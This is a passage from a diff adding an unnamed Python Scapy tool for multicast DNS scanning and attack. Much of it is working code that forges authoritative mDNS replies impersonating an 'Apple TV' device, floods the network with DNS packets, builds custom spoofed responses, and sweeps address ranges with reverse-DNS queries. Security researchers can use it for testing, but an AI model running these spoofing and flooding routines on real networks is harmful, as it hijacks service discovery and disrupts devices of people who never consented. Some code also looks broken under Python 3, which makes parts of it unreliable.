dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=3,arcount=6)/DNSRR(rrname=qname,ttl=myttl,rdata="Apple TV-mitsos._device-info."+qname,type="PTR")/pkt/DNSRR(rrname="_raop._tcp.local",ttl=myttl,rdata="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",type="PTR")/pkt2/pkt3/DNSRR(rrname="Apple TV-mitsos."+qname,ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="9C207BAD6BE4@Apple TV-mitsos._raop._tcp.local",ttl=myttl,type="SRV",rclass=32769,rdata=srv_rrname)/DNSRR(rrname="Apple-TV.local",ttl=myttl,rdata=source_IPv4,type="A",rclass=32769)/DNSRR(rrname="Apple-TV.local",ttl=myttl,rdata=source_IPv6,type="AAAA",rclass=32769) + else: + if isinstance(dnsqr.qname,bytes): + qname=dnsqr.qname.decode("utf-8") + else: + qname=dnsqr.qname + if qname.endswith('.'): + qname=qname[:-1] + #print("Query Name = ",qname," Type=",dnsqr.qtype) + if unidns: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1)/DNSRR(rrname=qname,ttl=myttl,rdata=source_IPv4,type="A") + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0,ancount=1)/DNSRR(rrname=qname,ttl=myttl,rdata=source_IPv4,type="A") + send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,d4,source_IPv6,d6,interface,hlimit,dns_packet,False,10.0,0.1)#CHANGE DEFAULT VALUES + ### END "IF WE NEED TO AUTO RESPOND WITH A FAKE RESPONSE + ### NEXT LINES ARE ONLY USED TO PRINT RESULTS ### + if dnsqr.qclass==32769: + res = res0 + " Question: "+dnsqr.qname.decode("utf-8") + " " + dns_type[dnsqr.qtype] +" QU Class:IN" + elif dnsqr.qclass==1: + res = res0 + " Question: "+dnsqr.qname.decode("utf-8") + " "+ dns_type[dnsqr.qtype] + " QM Class:IN" + elif dnsqr.qclass==255: + res = res0 + " Question: "+dnsqr.qname.decode("utf-8") + " "+ dns_type[dnsqr.qtype] + " QM Class:ANY" + else: + print("DNSQR:") + print("-----") + print(dnsqr.show()) + print("DEBUGGING IS NEEDED") + exit(0) + if print_res==1: + print(res) + queue.put(res) + block = block.payload + if dns.arcount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.ar) + for block in DNSBlocks: + if block.haslayer(DNSRROPT): + while isinstance(block,DNSRROPT):#Somewhat equivalent: while not isinstance(an, NoPayload): + dnsrropt=block.getlayer(DNSRROPT) + #print "DNS OPT Resource Record" + if dnsrropt.rrname == ".": + rrname = "" + else: + rrname = dnsrropt.rrname + if dnsrropt.type==41: + ARtype="OPT" + else: + ARtype=str(dnsrropt.type) + res = res0 + " Additional_Record: " + rrname.decode("utf-8") + " " + ARtype + if dnsrropt.haslayer(EDNS0TLV): + edns0tlv=dnsrropt.getlayer(EDNS0TLV) + if edns0tlv.optcode==4: + optcode="Reserved" + else: + optcode=str(edns0tlv.optcode) + res = res + " EDNS0TLV: " + optcode + " " + codecs.encode(edns0tlv.optdata, 'hex_codec').decode("utf-8") + if print_res==1: + print(res) + queue.put(res) + block = block.payload + elif block.haslayer(DNSRR): + while isinstance(block,DNSRR):#Somewhat equivalent: while not isinstance(an, NoPayload): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==32769: + res = res0 + " DNS Resource Record: "+ dnsrr.rrname + " " + dns_type[dnsrr.type] +" QU Class:IN "+dnsrr.rdata + elif dnsrr.rclass==1: + res = res0 + " DNS Resource Record: "+dnsrr.rrname + " "+ dns_type[dnsrr.type] + " QM Class:IN "+dnsrr.rdata + elif dnsrr.qclass==255: + res = res0 + " Question: "+dnsrr.qname + " "+ dns_type[dnsrr.qtype] + " QM Class:ANY" + else: + print("DNSRR:") + print("-----") + print(dnsrr.show()) + print("DEBUGGING IS NEEDED HERE") + exit(0) + if dnsrr.type==33:#SRV Record + priority=str(dnsrr.rdata)[0].encode("HEX")+str(dnsrr.rdata)[1].encode("HEX") + weight=str(dnsrr.rdata)[2].encode("HEX")+str(dnsrr.rdata)[3].encode("HEX") + port_number=str(dnsrr.rdata)[4].encode("HEX")+str(dnsrr.rdata)[5].encode("HEX") + res = res0 + " Additional_Record: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + str(dnsrr.rclass) + " priority="+str(int(priority,16))+" weight="+str(int(weight,16))+" port="+str(int(port_number,16))+" target="+str(dnsrr.rdata)[6::] + else: + rdata=dnsrr.rdata + if isinstance(rdata,bytes): + rdata = rdata.decode("utf-8") + if "._tcp." not in rdata and "._udp." not in rdata: + if rdata == "_dhnap.": + rdata=rdata+"_tcp." + res = res0 + " Additional_Record: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + str(dnsrr.rclass) + ' "' +rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print(res) + queue.put(res) + block = block.payload + if dns.ancount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.an) + for block in DNSBlocks: + while isinstance(block,DNSRR): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==1: + rclass="Class:IN" + else: + rclass="Class:"+str(dnsrr.rclass) + rdata=dnsrr.rdata + if isinstance(rdata,bytes): + rdata = rdata.decode("utf-8") + if dnsrr.type==33:#SRV Record + priority=str(dnsrr.rdata)[0].encode("HEX")+str(dnsrr.rdata)[1].encode("HEX") + weight=str(dnsrr.rdata)[2].encode("HEX")+str(dnsrr.rdata)[3].encode("HEX") + port_number=str(dnsrr.rdata)[4].encode("HEX")+str(dnsrr.rdata)[5].encode("HEX") + res = res0 + " Answer: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + rclass + " priority="+str(int(priority,16))+" weight="+str(int(weight,16))+" port="+str(int(port_number,16))+" target="+str(dnsrr.rdata)[6::] + else: + if "._tcp." not in rdata and "._udp." not in rdata: + if rdata == "_dhnap.": + rdata=dnsrr.rdata+"_tcp." + if isinstance(rdata,list): + rdata = b" ".join(rdata).decode("utf-8") + res = res0 + " Answer: "+dnsrr.rrname.decode("utf-8") + " " + dns_type[dnsrr.type]+" " + rclass + ' "' +rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print(res) + queue.put(res) + block = block.payload + if dns.nscount>0: + DNSBlocks = [ ] + DNSBlocks.append(dns.ns) + for block in DNSBlocks: + while isinstance(block,DNSRR): + dnsrr=block.getlayer(DNSRR) + if dnsrr.rclass==1: + rclass="Class:IN" + else: + rclass="Class:"+str(dnsrr.rclass) + res = res0 + " Auth_NS: "+dnsrr.rrname + " " + dns_type[dnsrr.type]+" " + rclass + ' "' +dnsrr.rdata+'"' + if show_ttl: + res = res + " TTL:"+str(dnsrr.ttl) + if print_res==1: + print(res) + queue.put(res) + block = block.payload + else: + print("not a DNS Query", dns.summary()) + +######################################## +########### REQUEST FUNCTION ########### +######################################## +def requests(interface,v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,d4,d6,hlimit,unidns,domain,query,types_of_queries,add_domain,query_class,flood,flooding_interval,flooding_timeout): + if add_domain: + print("Sending mdns requests") + domain_list = domain.split(",") + query_list = query.split(",") + if add_domain: + the_query=query_list[0]+"."+domain_list[0] + else: + types_of_queries="ALL"#implies that first a generic scan has beem performed + the_query=query_list[0] + dns_query=DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + for j in range(1,len(query_list)): + if add_domain: + the_query=query_list[j]+"."+domain_list[0] + else: + the_query=query_list[j] + dns_query=dns_query/DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + if add_domain: + for i in range(1,len(domain_list)): + for j in query_list: + the_query=j+"."+domain_list[i] + dns_query=dns_query/DNSQR(qname=the_query,qtype=types_of_queries,qclass=int(query_class)) + if unidns: + dns_packet=UDP(dport=53)/DNS(qr=0,qd=dns_query) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=0,qd=dns_query) + send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,d4,source_IPv6,d6,interface,hlimit,dns_packet,flood,flooding_timeout,flooding_interval) + +######################################## +######## SEND PACKETS FUNCTION ######### +######################################## +def send_packets(v4,v6,source_mac,target_mac1,target_mac2,source_IPv4,dst_ipv4,source_IPv6,dst_ipv6,interface,hlimit,payload,flood,flooding_timeout,flooding_interval): + if v4 or not v6: + packet=IP(src=source_IPv4,dst=dst_ipv4,ttl=hlimit,proto="udp")/payload + if len(packet)>1500: + frags=fragment(packet) + packets=[] + for frag in frags: + pkt1=Ether(src=source_mac,dst=target_mac1)/frag + packets.append(pkt1) + if flood: + counter=0.0 + print("Stop flooding after ",flooding_timeout," sec.") + while(counter1500: + frags2=fragment6(IPv6(src=source_IPv6,dst=dst_ipv6,hlim=hlimit)/IPv6ExtHdrFragment()/payload,1480) + packets=[] + for frag2 in frags2: + pkt2=Ether(src=source_mac,dst=target_mac2)/frag2 + packets.append(pkt2) + if flood: + counter=0.0 + print("Stop flooding after ",flooding_timeout," sec.") + while(counterResponse, aa=1=>Server is an authority for the domain, rd=0=> Do not query recursively + if values.dns: + dns_packet=UDP(dport=53)/DNS(qr=1,aa=1,rd=0) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=1,aa=1,rd=0) + responses = values.dns_response.split(",") + no_of_answers=0 + no_of_additional_records=0 + dnsar=None + for r in responses: + values_of_responses = r.split("/") + dnsrr=DNSRR() + port=0 + weight=0 + priority=0 + no_of_answers+=1 + this_is_a_dns_ar=False + rdata=[] + for dns_values in values_of_responses: + #print dns_values + value = dns_values.split("==") + if value[0]=="Type": + dnsrr.type=value[1] + elif value[0]=="Name": + dnsrr.rrname=value[1] + elif value[0]=="Target": + rdata.append(value[1]) + elif value[0]=="TTL": + dnsrr.ttl=int(value[1]) + elif value[0]=="Flush": + if value[1]=="True": + dnsrr.rclass=32769 + elif value[0]=="Priority": + priority=int(value[1]) + elif value[0]=="Weight": + weight=int(value[1]) + elif value[0]=="Port": + port=int(value[1]) + elif value[0]=="AR": + if value[1]=="True": + no_of_additional_records+=1 + this_is_a_dns_ar=True + if dnsrr.type==33: + port='{0:016b}'.format(port) + port="{0:0>4X}".format(int(port, 2)) + weight='{0:016b}'.format(weight) + weight="{0:0>4X}".format(int(weight, 2)) + priority='{0:016b}'.format(priority) + priority="{0:0>4X}".format(int(priority, 2)) + data=priority.decode("hex")+weight.decode("hex")+port.decode("hex") + #http://stackoverflow.com/questions/26933016/rdata-field-of-a-dns-sd-ptr-packet-sent-via-scapy-results-in-an-unknown-extended + sublabels = rdata[0].split(".") + [""] + label_format = "" + for s in sublabels: + label_format = '%s%dp' % (label_format, len(s) + 1) + label_data = struct.pack(label_format, *sublabels) + dnsrr.rdata=data+label_data + elif dnsrr.type==16: + txt_record="" + for r in rdata: + length=hex(len(r))[2:] + #check http://code.activestate.com/recipes/576617-converting-arbitrary-size-python-integers-to-packe/ + if len(r) > 255: + s=struct.Struct('I')# CHECK IT + else: + s=struct.Struct('B') + value=(len(r),) + packed_data=s.pack(*value) + txt_record=txt_record+packed_data+r + dnsrr.rdata=txt_record + ################## + pkt=dnsrr + pkt.rdlen-=1 + mylength=len(pkt.rrname)+12 + dnsrr_packet=str(pkt)[0:mylength]+str(pkt)[mylength+1::] + ################## + dnsrr=dnsrr_packet + else: + dnsrr.rdata=rdata[0] + if not this_is_a_dns_ar: + dns_packet=dns_packet/dnsrr + else: + if not dnsar: + dnsar=dnsrr + else: + dnsar=dnsar/dnsrr + if dnsar: + dns_packet=dns_packet/dnsar + dns_packet[DNS].ancount=no_of_answers-no_of_additional_records + dns_packet[DNS].arcount=no_of_additional_records + send_packets(values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,values.d4,source_IPv6,values.d6,values.interface,values.hlimit,dns_packet,values.flood,values.flooding_timeout,values.flooding_interval) + elif values.rdns_scanning: + dns_query=None + ipn = ipaddress.ip_network(values.rdns_scanning) + for ip in ipn.hosts(): + the_query = ip.reverse_pointer + if not dns_query: + dns_query=DNSQR(qname=the_query,qtype=values.qtype,qclass=values.q_class) + else: + dns_query=dns_query/DNSQR(qname=the_query,qtype=values.qtype,qclass=values.q_class) + if values.dns: + dns_packet=UDP(dport=53)/DNS(qr=0,qd=dns_query) + else: + dns_packet=UDP(sport=5353,dport=5353)/DNS(qr=0,qd=dns_query) + send_packets(values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,values.d4,source_IPv6,values.d6,values.interface,values.hlimit,dns_packet,values.flood,values.flooding_timeout,values.flooding_interval) + elif values.service_scan: + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,values.query,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + ############################################################################################ + ############################################################################################ + if pr: + try: + pr.join() + except KeyboardInterrupt: + print("Exiting on user's request") + exit(0) + + #### AFTER EXITING, PRINT THE RESULTS #### + results=[] + while not q.empty(): + results.append(q.get()) + if values.rdns_scanning: + targets=[] + q2 = multiprocessing.Queue() + pr2 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q2,values.dns,values.show_ttl, values.dos_ttl,values.conflict, values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr2.daemon = True + pr2.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[7].strip('"') + if service.endswith('local.'): + service=service[:-6] + if service.endswith('.'): + service=service[:-1] + if (r2[1],service) not in targets: + targets.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr2: + try: + pr2.join() + except KeyboardInterrupt: + print("Exiting on user's request") + while not q2.empty(): + results.append(q2.get()) + elif values.service_scan: + targets=[] + q2 = multiprocessing.Queue() + pr2 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q2,values.dns,values.show_ttl, values.dos_ttl,values.conflict, values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr2.daemon = True + pr2.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[7].strip('"')[:-1] + if (r2[1],service) not in targets: + print((r2[1],service)) + targets.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr2: + try: + pr2.join() + except KeyboardInterrupt: + print("Exiting on user's request") + while not q2.empty(): + results.append(q2.get()) + targets2=[] + q3 = multiprocessing.Queue() + pr3 = multiprocessing.Process(target=Sniffer, args=(myfilter, values.interface, float(values.sniffer_timeout),q3,values.dns,values.show_ttl, values.dos_ttl, values.conflict,values.ttl,values.d4, values.d6, values.target_mac, values.auto_fake_responses,source_IPv6, source_IPv4, target_mac1, target_mac2,source_mac,values.hlimit,values.workstation,values.printer,values.googlecast,values.airtv,values.flood,values.flooding_timeout,values.flooding_interval,values.v4,values.v6)) + pr3.daemon = True + pr3.start() + time.sleep(1) #to make sure than sniffer has started before we proceed, otherwise you may miss some traffic + for r in results: + r2=r.split(" ") + service=r2[4] + if service.endswith('local.'): + service=service[:-6] + if service.endswith('.'): + service=service[:-1] + if (r2[1],service) not in targets and (r2[1],service) not in targets2 and "_services._dns-sd._udp" not in service: + targets2.append((r2[1],service)) + requests(values.interface,values.v4,values.v6,source_mac,target_mac1,target_mac2,source_IPv4,source_IPv6,values.d4,values.d6,values.hlimit,values.dns,values.domain,service,values.qtype,True,q_class,values.flood,values.flooding_interval,values.flooding_timeout) + if pr3: + try: + pr3.join() + except KeyboardInterrupt: + print("Exiting on user's request") + while not q3.empty(): + results.append(q3.get()) + print("\n*********************************************RESULTS*********************************************") + for r in results: + print(r) + +if __name__ == '__main__': + main()